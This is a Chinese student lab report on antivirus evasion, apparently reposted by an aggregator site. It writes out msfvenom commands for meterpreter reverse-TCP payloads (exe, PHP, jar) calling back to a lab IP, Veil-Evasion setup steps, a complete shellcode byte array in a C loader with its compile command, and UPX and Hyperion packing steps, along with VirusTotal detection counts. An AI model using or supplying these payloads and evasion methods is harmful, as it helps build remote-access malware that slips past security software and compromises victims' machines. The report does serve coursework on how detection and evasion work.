20165218 《网络对抗技术》Exp3 免杀原理与实践

Posted 2021-11-24 zicerain

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了20165218 《网络对抗技术》Exp3 免杀原理与实践相关的知识，希望对你有一定的参考价值。

Exp3 免杀原理与实践

任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

使用VirusTotal或Viscan网站扫描后门程序

免杀工具1——msfvenom使用编码器

- 使用msfvenom命令生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -b '\\x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test1.exe
// -e 选择编码器
// -b payload中需要去除的字符，该命令中为了使'\\x00'不出现在shellcode中，因为shellcode以'\\x00'为结束符

技术图片

不仅没有免杀，甚至还变多了

迭代多次生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -i 15 -b '\\x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test2.exe
\\\\-i 设置迭代次数

技术图片

没什么差别

杀软厂商研究的是编码器本身，shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中，只要盯住这部分就可以了。

msfvenom会以固定的模板生成exe，所有它生成的exe，如果使用默认参数或模板，也有一定的固定特征。一般来说杀软厂商会针对其使用的模板来生成特征码，一劳永逸地解决所有msfvenom生成的恶意代码。如果使用msfvenom免杀，就要使用原生的模板。

生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test4.php

技术图片

生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test3.jar

技术图片

免杀工具2——Veil-Evasion

什么是veil

去百度了一下veil，居然没有词条，老师写的教程里说与metasploit类似，也是一个免杀平台，查了下metasploit，是个开源的安全漏洞检测工具，通过它可以地获取、开发并对计算机软件漏洞实施攻击，本身附带数百个已知软件漏洞的专业级漏洞攻击工具，其初衷是打造一个攻击工具开发平台。那我就按照这个来理解veil-evasion吧……

实验过程

命令行veil打开平台
依次输入如下命令进行配置

use Evasion                     
use c/meterpreter/rev_tcp.c     //设置payload
set LHOST 192.168.72.136        
set LPORT 5218                  //设置回连的ip和端口
generate                        //生成文件

然后输入名字veilC2018，生成完毕后可以分别看到c语言生成的程序的源码和可执行程序的位置
放入VirusTotal检测

好像没有刚刚那么惨烈，但还是有将近一半的杀软找到

免杀技术3——C语言调用Shellcode

生成一段shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.136 LPORT=5218 -f c

技术图片

将shellcode数组写成一个.c程序

unsigned char buf[] = 
"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30"
"\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff"
"\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf2\\x52"
"\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1"
"\\x51\\x8b\\x59\\x20\\x01\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b"
"\\x01\\xd6\\x31\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03"
"\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b"
"\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24"
"\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\\x5f\\x5a\\x8b\\x12\\xeb"
"\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c"
"\\x77\\x26\\x07\\x89\\xe8\\xff\\xd0\\xb8\\x90\\x01\\x00\\x00\\x29\\xc4\\x54"
"\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x6a\\x0a\\x68\\xc0\\xa8\\x48\\x88"
"\\x68\\x02\\x00\\x11\\x5c\\x89\\xe6\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50"
"\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5"
"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0a\\xff\\x4e\\x08\\x75\\xec\\xe8\\x67"
"\\x00\\x00\\x00\\x6a\\x00\\x6a\\x04\\x56\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff"
"\\xd5\\x83\\xf8\\x00\\x7e\\x36\\x8b\\x36\\x6a\\x40\\x68\\x00\\x10\\x00\\x00"
"\\x56\\x6a\\x00\\x68\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x93\\x53\\x6a\\x00\\x56"
"\\x53\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x83\\xf8\\x00\\x7d\\x28\\x58"
"\\x68\\x00\\x40\\x00\\x00\\x6a\\x00\\x50\\x68\\x0b\\x2f\\x0f\\x30\\xff\\xd5"
"\\x57\\x68\\x75\\x6e\\x4d\\x61\\xff\\xd5\\x5e\\x5e\\xff\\x0c\\x24\\x0f\\x85"
"\\x70\\xff\\xff\\xff\\xe9\\x9b\\xff\\xff\\xff\\x01\\xc3\\x29\\xc6\\x75\\xc1"
"\\xc3\\xbb\\xf0\\xb5\\xa2\\x56\\x6a\\x00\\x53\\xff\\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

Kali Linux图形界面下的新建空白文档我实在是看不懂@[email protected]，用touch text建了改的名（其实可以直接touch [filename]，开始从网上查还以为text也是命令的一部分，哎学艺不精）
技术图片

编译成可执行文件

i686-w64-mingw32-g++ met5218.c -o met5218.exe

VirusTotal检测
放到主机被无情删除
其实回连不成功，那为什么会被删除哭了

免杀技术4——加壳

什么是加壳

外壳保护技术，用户执行的实际上是这个外壳的程序，而这个外壳程序负责把用户原来的程序在内存中解开压缩，并把控制权交还给解开后的真正的程序，由于一切工作都是在内存中运行，用户根本不知道也不需要知道其运行过程，并且对执行速度没有什么影响。如果在外壳程序中加入对软件锁或钥匙盘的验证部分，它就是我们所说的外壳保护了。
在中文中的壳一般包含两种类型：压缩壳和加密壳。但在英文中确实两个不同的概念，与这两种类型对应的英文名词为：Packer和Protector。
压缩壳
对源程序代码进行压缩后，重新封装并生成可执行文件的一种壳。压缩壳的压缩算法一般采用已经较成熟的引擎，如aPLib、JCALG1等。
对于一些比较流行的压缩引擎后压缩壳，杀毒软件会针对这些壳专门开发与之对应的解压缩引擎，对加壳后的软件解压缩后进行杀毒，因而通常情况下使用压缩壳难以达到免杀目的。
加密壳
加密壳相比压缩壳的功能要复杂的多，加密壳侧重在软件保护上，压缩重新体积不是其主要任务，通常加密壳会将程序代码混淆加密，已达到防破解的目的，一些功能强大的加密壳可以给程序添加一些额外功能，包括限制软件使用时间，给软件添加注册功能等。

操作步骤

压缩壳

upx met5218.exe -o met5218_1.exe

技术图片

加密壳

cp [filename.exe] /usr/share/windows-binaries/hyperion/
cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v [filename.exe] [new_filename.exe]

技术图片